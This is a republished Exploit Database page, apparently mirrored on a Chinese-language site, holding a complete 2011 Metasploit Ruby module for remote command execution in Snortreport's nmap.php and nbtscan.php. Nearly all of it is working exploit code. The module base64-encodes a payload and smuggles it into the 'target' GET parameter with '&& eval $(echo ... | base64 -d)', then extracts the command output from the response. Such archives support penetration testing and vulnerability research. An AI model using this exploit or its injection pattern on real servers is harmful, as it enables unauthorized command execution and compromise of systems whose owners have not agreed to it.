Snortreport – ‘/nmap.php’ / ‘nbtscan.php’ Remote Command Execution (Metasploit)

• Exploit Database
• 31 阅读

• 作者： Metasploit
  日期： 2011-10-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17947/

• ##
  # $Id: snortreport_exec.rb 13843 2011-10-09 06:12:54Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => 'Snortreport nmap.php and nbtscan.php Remote Command Execution',
  			'Description'=> %q{
  				This module exploits an arbitrary command execution vulnerability in
  				nmap.php and nbtscan.php scripts.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Paul Rascagneres'#itrust consulting during hack.lu 2011
  				],
  			'Version'=> '$Revision: 13843 $',
  			'Payload'=>
  			{
  				'Compat' =>
  				{
  					'PayloadType'=> 'cmd',
  					'RequiredCmd'=> 'generic perl ruby bash telnet',
  				}
  			},
  			'Platform' => ['unix', 'linux'],
  			'Arch' => ARCH_CMD,
  			'Targets'=> [['Automatic',{}]],
  			'DisclosureDate' => 'Sep 19 2011',
  			'DefaultTarget'=> 0
  		))
  
  		register_options(
  			[
  				OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
  			],self.class)
  	end
  
  	def exploit
  		base64_payload = ""
  		base64_payload_temp=Base64.encode64(payload.encoded).chomp
  		base64_payload_temp.each_line do |line|
  			base64_payload << line.chomp
  		end
  
  		start = "127.0.0.1 && echo XXXXX && eval $(echo "
  		last= " | base64 -d) && echo ZZZZZ"
  		custom_payload = start << base64_payload << last
  
  		res = send_request_cgi({
  			'uri' => datastore['URI'],
  			'vars_get'=>
  			{
  				'target' => custom_payload
  			}
  		},10)
  
  		if (res)
  			to_print=false
  			already_print=false
  			part=res.body.gsub("<BR>","")
  			part.each_line do |line|
  				if line =~ /ZZZZZ/
  					to_print=false
  				end
  				if to_print == true
  					print(line)
  				end
  				if line =~ /XXXXX/
  					already_print=true
  					to_print=true
  				end
  			end
  
  			if already_print == false
  				print_error("This server may not be vulnerable")
  			end
  		else
  			print_error("No response from the server")
  		end
  	end
  end